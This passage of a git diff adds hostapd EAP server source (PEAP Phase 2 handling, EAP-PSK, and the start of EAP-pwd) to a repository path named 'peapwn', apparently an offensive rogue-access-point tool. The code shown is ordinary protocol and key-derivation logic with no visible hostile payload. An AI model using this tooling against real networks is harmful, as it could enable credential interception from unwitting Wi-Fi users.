wpa_hexdump_buf_key(MSG_DEBUG, "EAP-PEAP: Decrypted Phase 2 EAP", + in_decrypted); + + if (data->peap_version == 0 && data->state != PHASE2_TLV) { + const struct eap_hdr *resp; + struct eap_hdr *nhdr; + struct wpabuf *nbuf = + wpabuf_alloc(sizeof(struct eap_hdr) + + wpabuf_len(in_decrypted)); + if (nbuf == NULL) { + wpabuf_free(in_decrypted); + return; + } + + resp = wpabuf_head(respData); + nhdr = wpabuf_put(nbuf, sizeof(*nhdr)); + nhdr->code = resp->code; + nhdr->identifier = resp->identifier; + nhdr->length = host_to_be16(sizeof(struct eap_hdr) + + wpabuf_len(in_decrypted)); + wpabuf_put_buf(nbuf, in_decrypted); + wpabuf_free(in_decrypted); + + in_decrypted = nbuf; + } else if (data->peap_version >= 2) { + struct eap_tlv_hdr *tlv; + struct wpabuf *nmsg; + + if (wpabuf_len(in_decrypted) < sizeof(*tlv) + sizeof(*hdr)) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: Too short Phase 2 " + "EAP TLV"); + wpabuf_free(in_decrypted); + return; + } + tlv = wpabuf_mhead(in_decrypted); + if ((be_to_host16(tlv->tlv_type) & EAP_TLV_TYPE_MASK) != + EAP_TLV_EAP_PAYLOAD_TLV) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: Not an EAP TLV"); + wpabuf_free(in_decrypted); + return; + } + if (sizeof(*tlv) + be_to_host16(tlv->length) > + wpabuf_len(in_decrypted)) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: Invalid EAP TLV " + "length"); + wpabuf_free(in_decrypted); + return; + } + hdr = (struct eap_hdr *) (tlv + 1); + if (be_to_host16(hdr->length) > be_to_host16(tlv->length)) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: No room for full " + "EAP packet in EAP TLV"); + wpabuf_free(in_decrypted); + return; + } + + nmsg = wpabuf_alloc(be_to_host16(hdr->length)); + if (nmsg == NULL) { + wpabuf_free(in_decrypted); + return; + } + + wpabuf_put_data(nmsg, hdr, be_to_host16(hdr->length)); + wpabuf_free(in_decrypted); + in_decrypted = nmsg; + } + + hdr = wpabuf_head(in_decrypted); + if (wpabuf_len(in_decrypted) < (int) sizeof(*hdr)) { + wpa_printf(MSG_INFO, "EAP-PEAP: Too short Phase 2 " + "EAP frame (len=%lu)", + (unsigned long) wpabuf_len(in_decrypted)); + wpabuf_free(in_decrypted); + eap_peap_req_failure(sm, data); + return; + } + len = be_to_host16(hdr->length); + if (len > wpabuf_len(in_decrypted)) { + wpa_printf(MSG_INFO, "EAP-PEAP: Length mismatch in " + "Phase 2 EAP frame (len=%lu hdr->length=%lu)", + (unsigned long) wpabuf_len(in_decrypted), + (unsigned long) len); + wpabuf_free(in_decrypted); + eap_peap_req_failure(sm, data); + return; + } + wpa_printf(MSG_DEBUG, "EAP-PEAP: received Phase 2: code=%d " + "identifier=%d length=%lu", hdr->code, hdr->identifier, + (unsigned long) len); + switch (hdr->code) { + case EAP_CODE_RESPONSE: + eap_peap_process_phase2_response(sm, data, in_decrypted); + break; + case EAP_CODE_SUCCESS: + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase 2 Success"); + if (data->state == SUCCESS_REQ) { + eap_peap_state(data, SUCCESS); + } + break; + case EAP_CODE_FAILURE: + wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase 2 Failure"); + eap_peap_state(data, FAILURE); + break; + default: + wpa_printf(MSG_INFO, "EAP-PEAP: Unexpected code=%d in " + "Phase 2 EAP header", hdr->code); + break; + } + + wpabuf_free(in_decrypted); +} + + +static int eap_peapv2_start_phase2(struct eap_sm *sm, + struct eap_peap_data *data) +{ + struct wpabuf *buf, *buf2; + + wpa_printf(MSG_DEBUG, "EAP-PEAPv2: Phase1 done, include first Phase2 " + "payload in the same message"); + eap_peap_state(data, PHASE1_ID2); + if (eap_peap_phase2_init(sm, data, EAP_TYPE_IDENTITY)) + return -1; + + /* TODO: which Id to use here? */ + buf = data->phase2_method->buildReq(sm, data->phase2_priv, 6); + if (buf == NULL) + return -1; + + buf2 = eap_peapv2_tlv_eap_payload(buf); + if (buf2 == NULL) + return -1; + + wpa_hexdump_buf(MSG_DEBUG, "EAP-PEAPv2: Identity Request", buf2); + + buf = tls_connection_encrypt(sm->ssl_ctx, data->ssl.conn, + buf2); + wpabuf_free(buf2); + + if (buf == NULL) { + wpa_printf(MSG_INFO, "EAP-PEAPv2: Failed to encrypt Phase 2 " + "data"); + return -1; + } + + wpa_hexdump_buf(MSG_DEBUG, "EAP-PEAPv2: Encrypted Identity Request", + buf); + + /* Append TLS data into the pending buffer after the Server Finished */ + if (wpabuf_resize(&data->ssl.tls_out, wpabuf_len(buf)) < 0) { + wpabuf_free(buf); + return -1; + } + wpabuf_put_buf(data->ssl.tls_out, buf); + wpabuf_free(buf); + + return 0; +} + + +static int eap_peap_process_version(struct eap_sm *sm, void *priv, + int peer_version) +{ + struct eap_peap_data *data = priv; + + data->recv_version = peer_version; + if (data->force_version >= 0 && peer_version != data->force_version) { + wpa_printf(MSG_INFO, "EAP-PEAP: peer did not select the forced" + " version (forced=%d peer=%d) - reject", + data->force_version, peer_version); + return -1; + } + if (peer_version < data->peap_version) { + wpa_printf(MSG_DEBUG, "EAP-PEAP: peer ver=%d, own ver=%d; " + "use version %d", + peer_version, data->peap_version, peer_version); + data->peap_version = peer_version; + } + + return 0; +} + + +static void eap_peap_process_msg(struct eap_sm *sm, void *priv, + const struct wpabuf *respData) +{ + struct eap_peap_data *data = priv; + + switch (data->state) { + case PHASE1: + if (eap_server_tls_phase1(sm, &data->ssl) < 0) { + eap_peap_state(data, FAILURE); + break; + } + + if (data->peap_version >= 2 && + tls_connection_established(sm->ssl_ctx, data->ssl.conn)) { + if (eap_peapv2_start_phase2(sm, data)) { + eap_peap_state(data, FAILURE); + break; + } + } + break; + case PHASE2_START: + eap_peap_state(data, PHASE2_ID); + eap_peap_phase2_init(sm, data, EAP_TYPE_IDENTITY); + break; + case PHASE1_ID2: + case PHASE2_ID: + case PHASE2_METHOD: + case PHASE2_SOH: + case PHASE2_TLV: + eap_peap_process_phase2(sm, data, respData, data->ssl.tls_in); + break; + case SUCCESS_REQ: + eap_peap_state(data, SUCCESS); + break; + case FAILURE_REQ: + eap_peap_state(data, FAILURE); + break; + default: + wpa_printf(MSG_DEBUG, "EAP-PEAP: Unexpected state %d in %s", + data->state, __func__); + break; + } +} + + +static void eap_peap_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_peap_data *data = priv; + if (eap_server_tls_process(sm, &data->ssl, respData, data, + EAP_TYPE_PEAP, eap_peap_process_version, + eap_peap_process_msg) < 0) + eap_peap_state(data, FAILURE); +} + + +static Boolean eap_peap_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_peap_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_peap_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_peap_data *data = priv; + u8 *eapKeyData; + + if (data->state != SUCCESS) + return NULL; + + if (data->crypto_binding_used) { + u8 csk[128]; + /* + * Note: It looks like Microsoft implementation requires null + * termination for this label while the one used for deriving + * IPMK|CMK did not use null termination. + */ + if (peap_prfplus(data->peap_version, data->ipmk, 40, + "Session Key Generating Function", + (u8 *) "\00", 1, csk, sizeof(csk)) < 0) + return NULL; + wpa_hexdump_key(MSG_DEBUG, "EAP-PEAP: CSK", csk, sizeof(csk)); + eapKeyData = os_malloc(EAP_TLS_KEY_LEN); + if (eapKeyData) { + os_memcpy(eapKeyData, csk, EAP_TLS_KEY_LEN); + *len = EAP_TLS_KEY_LEN; + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Derived key", + eapKeyData, EAP_TLS_KEY_LEN); + } else { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Failed to derive " + "key"); + } + + return eapKeyData; + } + + /* TODO: PEAPv1 - different label in some cases */ + eapKeyData = eap_server_tls_derive_key(sm, &data->ssl, + "client EAP encryption", + EAP_TLS_KEY_LEN); + if (eapKeyData) { + *len = EAP_TLS_KEY_LEN; + wpa_hexdump(MSG_DEBUG, "EAP-PEAP: Derived key", + eapKeyData, EAP_TLS_KEY_LEN); + } else { + wpa_printf(MSG_DEBUG, "EAP-PEAP: Failed to derive key"); + } + + return eapKeyData; +} + + +static Boolean eap_peap_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_peap_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_peap_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_PEAP, "PEAP"); + if (eap == NULL) + return -1; + + eap->init = eap_peap_init; + eap->reset = eap_peap_reset; + eap->buildReq = eap_peap_buildReq; + eap->check = eap_peap_check; + eap->process = eap_peap_process; + eap->isDone = eap_peap_isDone; + eap->getKey = eap_peap_getKey; + eap->isSuccess = eap_peap_isSuccess; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_psk.c b/peapwn/mods/hostap/src/eap_server/eap_server_psk.c new file mode 100644 index 000000000..46bedd94b --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_psk.c @@ -0,0 +1,512 @@ +/* + * hostapd / EAP-PSK (RFC 4764) server + * Copyright (c) 2005-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * Note: EAP-PSK is an EAP authentication method and as such, completely + * different from WPA-PSK. This file is not needed for WPA-PSK functionality. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "crypto/random.h" +#include "eap_common/eap_psk_common.h" +#include "eap_server/eap_i.h" + + +struct eap_psk_data { + enum { PSK_1, PSK_3, SUCCESS, FAILURE } state; + u8 rand_s[EAP_PSK_RAND_LEN]; + u8 rand_p[EAP_PSK_RAND_LEN]; + u8 *id_p; + size_t id_p_len; + u8 ak[EAP_PSK_AK_LEN], kdk[EAP_PSK_KDK_LEN], tek[EAP_PSK_TEK_LEN]; + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; +}; + + +static void * eap_psk_init(struct eap_sm *sm) +{ + struct eap_psk_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = PSK_1; + + return data; +} + + +static void eap_psk_reset(struct eap_sm *sm, void *priv) +{ + struct eap_psk_data *data = priv; + os_free(data->id_p); + os_free(data); +} + + +static struct wpabuf * eap_psk_build_1(struct eap_sm *sm, + struct eap_psk_data *data, u8 id) +{ + struct wpabuf *req; + struct eap_psk_hdr_1 *psk; + + wpa_printf(MSG_DEBUG, "EAP-PSK: PSK-1 (sending)"); + + if (random_get_bytes(data->rand_s, EAP_PSK_RAND_LEN)) { + wpa_printf(MSG_ERROR, "EAP-PSK: Failed to get random data"); + data->state = FAILURE; + return NULL; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-PSK: RAND_S (server rand)", + data->rand_s, EAP_PSK_RAND_LEN); + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PSK, + sizeof(*psk) + sm->server_id_len, + EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-PSK: Failed to allocate memory " + "request"); + data->state = FAILURE; + return NULL; + } + + psk = wpabuf_put(req, sizeof(*psk)); + psk->flags = EAP_PSK_FLAGS_SET_T(0); /* T=0 */ + os_memcpy(psk->rand_s, data->rand_s, EAP_PSK_RAND_LEN); + wpabuf_put_data(req, sm->server_id, sm->server_id_len); + + return req; +} + + +static struct wpabuf * eap_psk_build_3(struct eap_sm *sm, + struct eap_psk_data *data, u8 id) +{ + struct wpabuf *req; + struct eap_psk_hdr_3 *psk; + u8 *buf, *pchannel, nonce[16]; + size_t buflen; + + wpa_printf(MSG_DEBUG, "EAP-PSK: PSK-3 (sending)"); + + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PSK, + sizeof(*psk) + 4 + 16 + 1, EAP_CODE_REQUEST, id); + if (req == NULL) { + wpa_printf(MSG_ERROR, "EAP-PSK: Failed to allocate memory " + "request"); + data->state = FAILURE; + return NULL; + } + + psk = wpabuf_put(req, sizeof(*psk)); + psk->flags = EAP_PSK_FLAGS_SET_T(2); /* T=2 */ + os_memcpy(psk->rand_s, data->rand_s, EAP_PSK_RAND_LEN); + + /* MAC_S = OMAC1-AES-128(AK, ID_S||RAND_P) */ + buflen = sm->server_id_len + EAP_PSK_RAND_LEN; + buf = os_malloc(buflen); + if (buf == NULL) + goto fail; + + os_memcpy(buf, sm->server_id, sm->server_id_len); + os_memcpy(buf + sm->server_id_len, data->rand_p, EAP_PSK_RAND_LEN); + if (omac1_aes_128(data->ak, buf, buflen, psk->mac_s)) { + os_free(buf); + goto fail; + } + os_free(buf); + + if (eap_psk_derive_keys(data->kdk, data->rand_p, data->tek, data->msk, + data->emsk)) + goto fail; + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: TEK", data->tek, EAP_PSK_TEK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: MSK", data->msk, EAP_MSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: EMSK", data->emsk, EAP_EMSK_LEN); + + os_memset(nonce, 0, sizeof(nonce)); + pchannel = wpabuf_put(req, 4 + 16 + 1); + os_memcpy(pchannel, nonce + 12, 4); + os_memset(pchannel + 4, 0, 16); /* Tag */ + pchannel[4 + 16] = EAP_PSK_R_FLAG_DONE_SUCCESS << 6; + wpa_hexdump(MSG_DEBUG, "EAP-PSK: PCHANNEL (plaintext)", + pchannel, 4 + 16 + 1); + if (aes_128_eax_encrypt(data->tek, nonce, sizeof(nonce), + wpabuf_head(req), 22, + pchannel + 4 + 16, 1, pchannel + 4)) + goto fail; + wpa_hexdump(MSG_DEBUG, "EAP-PSK: PCHANNEL (encrypted)", + pchannel, 4 + 16 + 1); + + return req; + +fail: + wpabuf_free(req); + data->state = FAILURE; + return NULL; +} + + +static struct wpabuf * eap_psk_buildReq(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_psk_data *data = priv; + + switch (data->state) { + case PSK_1: + return eap_psk_build_1(sm, data, id); + case PSK_3: + return eap_psk_build_3(sm, data, id); + default: + wpa_printf(MSG_DEBUG, "EAP-PSK: Unknown state %d in buildReq", + data->state); + break; + } + return NULL; +} + + +static Boolean eap_psk_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_psk_data *data = priv; + size_t len; + u8 t; + const u8 *pos; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PSK, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-PSK: Invalid frame"); + return TRUE; + } + t = EAP_PSK_FLAGS_GET_T(*pos); + + wpa_printf(MSG_DEBUG, "EAP-PSK: received frame: T=%d", t); + + if (data->state == PSK_1 && t != 1) { + wpa_printf(MSG_DEBUG, "EAP-PSK: Expected PSK-2 - " + "ignore T=%d", t); + return TRUE; + } + + if (data->state == PSK_3 && t != 3) { + wpa_printf(MSG_DEBUG, "EAP-PSK: Expected PSK-4 - " + "ignore T=%d", t); + return TRUE; + } + + if ((t == 1 && len < sizeof(struct eap_psk_hdr_2)) || + (t == 3 && len < sizeof(struct eap_psk_hdr_4))) { + wpa_printf(MSG_DEBUG, "EAP-PSK: Too short frame"); + return TRUE; + } + + return FALSE; +} + + +static void eap_psk_process_2(struct eap_sm *sm, + struct eap_psk_data *data, + struct wpabuf *respData) +{ + const struct eap_psk_hdr_2 *resp; + u8 *pos, mac[EAP_PSK_MAC_LEN], *buf; + size_t left, buflen; + int i; + const u8 *cpos; + + if (data->state != PSK_1) + return; + + wpa_printf(MSG_DEBUG, "EAP-PSK: Received PSK-2"); + + cpos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PSK, respData, + &left); + if (cpos == NULL || left < sizeof(*resp)) { + wpa_printf(MSG_INFO, "EAP-PSK: Invalid frame"); + return; + } + resp = (const struct eap_psk_hdr_2 *) cpos; + cpos = (const u8 *) (resp + 1); + left -= sizeof(*resp); + + os_free(data->id_p); + data->id_p = os_malloc(left); + if (data->id_p == NULL) { + wpa_printf(MSG_INFO, "EAP-PSK: Failed to allocate memory for " + "ID_P"); + return; + } + os_memcpy(data->id_p, cpos, left); + data->id_p_len = left; + wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-PSK: ID_P", + data->id_p, data->id_p_len); + + if (eap_user_get(sm, data->id_p, data->id_p_len, 0) < 0) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-PSK: unknown ID_P", + data->id_p, data->id_p_len); + data->state = FAILURE; + return; + } + + for (i = 0; + i < EAP_MAX_METHODS && + (sm->user->methods[i].vendor != EAP_VENDOR_IETF || + sm->user->methods[i].method != EAP_TYPE_NONE); + i++) { + if (sm->user->methods[i].vendor == EAP_VENDOR_IETF && + sm->user->methods[i].method == EAP_TYPE_PSK) + break; + } + + if (i >= EAP_MAX_METHODS || + sm->user->methods[i].vendor != EAP_VENDOR_IETF || + sm->user->methods[i].method != EAP_TYPE_PSK) { + wpa_hexdump_ascii(MSG_DEBUG, + "EAP-PSK: EAP-PSK not enabled for ID_P", + data->id_p, data->id_p_len); + data->state = FAILURE; + return; + } + + if (sm->user->password == NULL || + sm->user->password_len != EAP_PSK_PSK_LEN) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP-PSK: invalid password in " + "user database for ID_P", + data->id_p, data->id_p_len); + data->state = FAILURE; + return; + } + if (eap_psk_key_setup(sm->user->password, data->ak, data->kdk)) { + data->state = FAILURE; + return; + } + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: AK", data->ak, EAP_PSK_AK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-PSK: KDK", data->kdk, EAP_PSK_KDK_LEN); + + wpa_hexdump(MSG_MSGDUMP, "EAP-PSK: RAND_P (client rand)", + resp->rand_p, EAP_PSK_RAND_LEN); + os_memcpy(data->rand_p, resp->rand_p, EAP_PSK_RAND_LEN); + + /* MAC_P = OMAC1-AES-128(AK, ID_P||ID_S||RAND_S||RAND_P) */ + buflen = data->id_p_len + sm->server_id_len + 2 * EAP_PSK_RAND_LEN; + buf = os_malloc(buflen); + if (buf == NULL) { + data->state = FAILURE; + return; + } + os_memcpy(buf, data->id_p, data->id_p_len); + pos = buf + data->id_p_len; + os_memcpy(pos, sm->server_id, sm->server_id_len); + pos += sm->server_id_len; + os_memcpy(pos, data->rand_s, EAP_PSK_RAND_LEN); + pos += EAP_PSK_RAND_LEN; + os_memcpy(pos, data->rand_p, EAP_PSK_RAND_LEN); + if (omac1_aes_128(data->ak, buf, buflen, mac)) { + os_free(buf); + data->state = FAILURE; + return; + } + os_free(buf); + wpa_hexdump(MSG_DEBUG, "EAP-PSK: MAC_P", resp->mac_p, EAP_PSK_MAC_LEN); + if (os_memcmp(mac, resp->mac_p, EAP_PSK_MAC_LEN) != 0) { + wpa_printf(MSG_INFO, "EAP-PSK: Invalid MAC_P"); + wpa_hexdump(MSG_MSGDUMP, "EAP-PSK: Expected MAC_P", + mac, EAP_PSK_MAC_LEN); + data->state = FAILURE; + return; + } + + data->state = PSK_3; +} + + +static void eap_psk_process_4(struct eap_sm *sm, + struct eap_psk_data *data, + struct wpabuf *respData) +{ + const struct eap_psk_hdr_4 *resp; + u8 *decrypted, nonce[16]; + size_t left; + const u8 *pos, *tag; + + if (data->state != PSK_3) + return; + + wpa_printf(MSG_DEBUG, "EAP-PSK: Received PSK-4"); + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PSK, respData, &left); + if (pos == NULL || left < sizeof(*resp)) { + wpa_printf(MSG_INFO, "EAP-PSK: Invalid frame"); + return; + } + resp = (const struct eap_psk_hdr_4 *) pos; + pos = (const u8 *) (resp + 1); + left -= sizeof(*resp); + + wpa_hexdump(MSG_MSGDUMP, "EAP-PSK: Encrypted PCHANNEL", pos, left); + + if (left < 4 + 16 + 1) { + wpa_printf(MSG_INFO, "EAP-PSK: Too short PCHANNEL data in " + "PSK-4 (len=%lu, expected 21)", + (unsigned long) left); + return; + } + + if (pos[0] == 0 && pos[1] == 0 && pos[2] == 0 && pos[3] == 0) { + wpa_printf(MSG_DEBUG, "EAP-PSK: Nonce did not increase"); + return; + } + + os_memset(nonce, 0, 12); + os_memcpy(nonce + 12, pos, 4); + pos += 4; + left -= 4; + tag = pos; + pos += 16; + left -= 16; + + decrypted = os_malloc(left); + if (decrypted == NULL) + return; + os_memcpy(decrypted, pos, left); + + if (aes_128_eax_decrypt(data->tek, nonce, sizeof(nonce), + wpabuf_head(respData), 22, decrypted, left, + tag)) { + wpa_printf(MSG_WARNING, "EAP-PSK: PCHANNEL decryption failed"); + os_free(decrypted); + data->state = FAILURE; + return; + } + wpa_hexdump(MSG_DEBUG, "EAP-PSK: Decrypted PCHANNEL message", + decrypted, left); + + /* Verify R flag */ + switch (decrypted[0] >> 6) { + case EAP_PSK_R_FLAG_CONT: + wpa_printf(MSG_DEBUG, "EAP-PSK: R flag - CONT - unsupported"); + data->state = FAILURE; + break; + case EAP_PSK_R_FLAG_DONE_SUCCESS: + wpa_printf(MSG_DEBUG, "EAP-PSK: R flag - DONE_SUCCESS"); + data->state = SUCCESS; + break; + case EAP_PSK_R_FLAG_DONE_FAILURE: + wpa_printf(MSG_DEBUG, "EAP-PSK: R flag - DONE_FAILURE"); + data->state = FAILURE; + break; + } + os_free(decrypted); +} + + +static void eap_psk_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_psk_data *data = priv; + const u8 *pos; + size_t len; + + if (sm->user == NULL || sm->user->password == NULL) { + wpa_printf(MSG_INFO, "EAP-PSK: Plaintext password not " + "configured"); + data->state = FAILURE; + return; + } + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PSK, respData, &len); + if (pos == NULL || len < 1) + return; + + switch (EAP_PSK_FLAGS_GET_T(*pos)) { + case 1: + eap_psk_process_2(sm, data, respData); + break; + case 3: + eap_psk_process_4(sm, data, respData); + break; + } +} + + +static Boolean eap_psk_isDone(struct eap_sm *sm, void *priv) +{ + struct eap_psk_data *data = priv; + return data->state == SUCCESS || data->state == FAILURE; +} + + +static u8 * eap_psk_getKey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_psk_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static u8 * eap_psk_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_psk_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +static Boolean eap_psk_isSuccess(struct eap_sm *sm, void *priv) +{ + struct eap_psk_data *data = priv; + return data->state == SUCCESS; +} + + +int eap_server_psk_register(void) +{ + struct eap_method *eap; + int ret; + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_PSK, "PSK"); + if (eap == NULL) + return -1; + + eap->init = eap_psk_init; + eap->reset = eap_psk_reset; + eap->buildReq = eap_psk_buildReq; + eap->check = eap_psk_check; + eap->process = eap_psk_process; + eap->isDone = eap_psk_isDone; + eap->getKey = eap_psk_getKey; + eap->isSuccess = eap_psk_isSuccess; + eap->get_emsk = eap_psk_get_emsk; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_pwd.c b/peapwn/mods/hostap/src/eap_server/eap_server_pwd.c new file mode 100644 index 000000000..b61061bce --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_pwd.c @@ -0,0 +1,1045 @@ +/* + * hostapd / EAP-pwd (RFC 5931) server + * Copyright (c) 2010, Dan Harkins + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha256.h" +#include "eap_server/eap_i.h" +#include "eap_common/eap_pwd_common.h" + + +struct eap_pwd_data { + enum { + PWD_ID_Req, PWD_Commit_Req, PWD_Confirm_Req, SUCCESS, FAILURE + } state; + u8 *id_peer; + size_t id_peer_len; + u8 *id_server; + size_t id_server_len; + u8 *password; + size_t password_len; + u32 token; + u16 group_num; + EAP_PWD_group *grp; + + struct wpabuf *inbuf; + size_t in_frag_pos; + struct wpabuf *outbuf; + size_t out_frag_pos; + size_t mtu; + + BIGNUM *k; + BIGNUM *private_value; + BIGNUM *peer_scalar; + BIGNUM *my_scalar; + EC_POINT *my_element; + EC_POINT *peer_element; + + u8 my_confirm[SHA256_MAC_LEN]; + + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; + + BN_CTX *bnctx; +}; + + +static const char * eap_pwd_state_txt(int state) +{ + switch (state) { + case PWD_ID_Req: + return "PWD-ID-Req"; + case PWD_Commit_Req: + return "PWD-Commit-Req"; + case PWD_Confirm_Req: + return "PWD-Confirm-Req"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "PWD-Unk"; + } +} + + +static void eap_pwd_state(struct eap_pwd_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-pwd: %s -> %s", + eap_pwd_state_txt(data->state), eap_pwd_state_txt(state)); + data->state = state; +} + + +static void * eap_pwd_init(struct eap_sm *sm) +{ + struct eap_pwd_data *data; + + if (sm->user == NULL || sm->user->password == NULL || + sm->user->password_len == 0) { + wpa_printf(MSG_INFO, "EAP-PWD (server): Password is not " + "configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + + data->group_num = sm->pwd_group; + wpa_printf(MSG_DEBUG, "EAP-pwd: Selected group number %d", + data->group_num); + data->state = PWD_ID_Req; + + data->id_server = (u8 *) os_strdup("server"); + if (data->id_server) + data->id_server_len = os_strlen((char *) data->id_server); + + data->password = os_malloc(sm->user->password_len); + if (data->password == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: Memory allocation password " + "fail"); + os_free(data->id_server); + os_free(data); + return NULL; + } + data->password_len = sm->user->password_len; + os_memcpy(data->password, sm->user->password, data->password_len); + + data->bnctx = BN_CTX_new(); + if (data->bnctx == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: bn context allocation fail"); + os_free(data->password); + os_free(data->id_server); + os_free(data); + return NULL; + } + + data->in_frag_pos = data->out_frag_pos = 0; + data->inbuf = data->outbuf = NULL; + data->mtu = 1020; /* default from RFC 5931, make it configurable! */ + + return data; +} + + +static void eap_pwd_reset(struct eap_sm *sm, void *priv) +{ + struct eap_pwd_data *data = priv; + + BN_free(data->private_value); + BN_free(data->peer_scalar); + BN_free(data->my_scalar); + BN_free(data->k); + BN_CTX_free(data->bnctx); + EC_POINT_free(data->my_element); + EC_POINT_free(data->peer_element); + os_free(data->id_peer); + os_free(data->id_server); + os_free(data->password); + if (data->grp) { + EC_GROUP_free(data->grp->group); + EC_POINT_free(data->grp->pwe); + BN_free(data->grp->order); + BN_free(data->grp->prime); + os_free(data->grp); + } + os_free(data); +} + + +static void eap_pwd_build_id_req(struct eap_sm *sm, struct eap_pwd_data *data, + u8 id) +{ + wpa_printf(MSG_DEBUG, "EAP-pwd: ID/Request"); + /* + * if we're fragmenting then we already have an id request, just return + */ + if (data->out_frag_pos) + return; + + data->outbuf = wpabuf_alloc(sizeof(struct eap_pwd_id) + + data->id_server_len); + if (data->outbuf == NULL) { + eap_pwd_state(data, FAILURE); + return; + } + + /* an lfsr is good enough to generate unpredictable tokens */ + data->token = os_random(); + wpabuf_put_be16(data->outbuf, data->group_num); + wpabuf_put_u8(data->outbuf, EAP_PWD_DEFAULT_RAND_FUNC); + wpabuf_put_u8(data->outbuf, EAP_PWD_DEFAULT_PRF); + wpabuf_put_data(data->outbuf, &data->token, sizeof(data->token)); + wpabuf_put_u8(data->outbuf, EAP_PWD_PREP_NONE); + wpabuf_put_data(data->outbuf, data->id_server, data->id_server_len); +} + + +static void eap_pwd_build_commit_req(struct eap_sm *sm, + struct eap_pwd_data *data, u8 id) +{ + BIGNUM *mask = NULL, *x = NULL, *y = NULL; + u8 *scalar = NULL, *element = NULL; + u16 offset; + + wpa_printf(MSG_DEBUG, "EAP-pwd: Commit/Request"); + /* + * if we're fragmenting then we already have an commit request, just + * return + */ + if (data->out_frag_pos) + return; + + if (((data->private_value = BN_new()) == NULL) || + ((data->my_element = EC_POINT_new(data->grp->group)) == NULL) || + ((data->my_scalar = BN_new()) == NULL) || + ((mask = BN_new()) == NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): scalar allocation " + "fail"); + goto fin; + } + + BN_rand_range(data->private_value, data->grp->order); + BN_rand_range(mask, data->grp->order); + BN_add(data->my_scalar, data->private_value, mask); + BN_mod(data->my_scalar, data->my_scalar, data->grp->order, + data->bnctx); + + if (!EC_POINT_mul(data->grp->group, data->my_element, NULL, + data->grp->pwe, mask, data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): element allocation " + "fail"); + eap_pwd_state(data, FAILURE); + goto fin; + } + + if (!EC_POINT_invert(data->grp->group, data->my_element, data->bnctx)) + { + wpa_printf(MSG_INFO, "EAP-PWD (server): element inversion " + "fail"); + goto fin; + } + BN_free(mask); + + if (((x = BN_new()) == 